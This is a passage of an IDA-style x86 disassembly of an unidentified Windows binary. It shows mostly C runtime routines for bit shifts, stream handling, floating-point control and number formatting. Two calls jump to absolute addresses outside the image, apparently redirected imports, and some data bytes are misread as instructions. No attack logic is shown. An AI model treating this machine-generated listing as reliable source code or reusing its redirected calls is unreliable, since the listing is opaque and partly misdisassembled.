		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------

loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DB344
		call	near ptr 2850000h
		nop
		test	eax, eax
		jnz	loc_423F02
		jmp	short loc_423F55
sub_423EC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB

loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx

loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax

loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax

loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh

loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl

loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax

loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8

loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4

loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2

loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1

loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h

loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------

loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------

loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1

loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------

loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h

loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax

loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4

loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8

loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h

loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h

loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2

loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------

loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------

loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4

loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------

loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx

loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]

loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8

loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]

loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208

loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx

loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]

loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd

loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx

loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx

loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi

loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2

loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------

loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0

loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx

loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2

loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------

loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx

loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------

loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h

loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------

loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------

loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx

loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax

loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------

loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi

loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CC78
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CC90
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx

loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------

loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx

loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]

loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8

loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------

loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]

loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------

loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h

loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DB470
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4DB498, eax
		add	esp, 18h
		movsx	eax, byte_4DB472
		mov	dword_4DB490, eax
		pop	edi
		movsx	eax, word_4DB470
		mov	dword_4DB494, eax
		mov	dword_4DB49C, offset dword_4DB474
		mov	eax, offset dword_4DB490
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------

loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------

loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------

loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx

loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx

loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------

loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx

loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: ___:0043C8B8o
					; ___:0043D118o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------

loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4DB4A0
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4DB4A0
		jmp	short loc_42474E
; ---------------------------------------------------------------------------

loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax

loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp

; ---------------------------------------------------------------------------
word_424752	dw 0C68h		; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
		inc	edi
		inc	edx
		add	[eax+1DC7B3E8h], dl
		add	ah, byte ptr dword_4DB4A0[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424763	db 0FFh			; DATA XREF: ___:00429040o
		dd 4DB4A035h, 0A1E89000h, 0C3021DC7h

; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2600AE4h
		test	eax, eax
		jz	short loc_424788
		xor	esi, esi

loc_424788:				; CODE XREF: sub_424770+14j
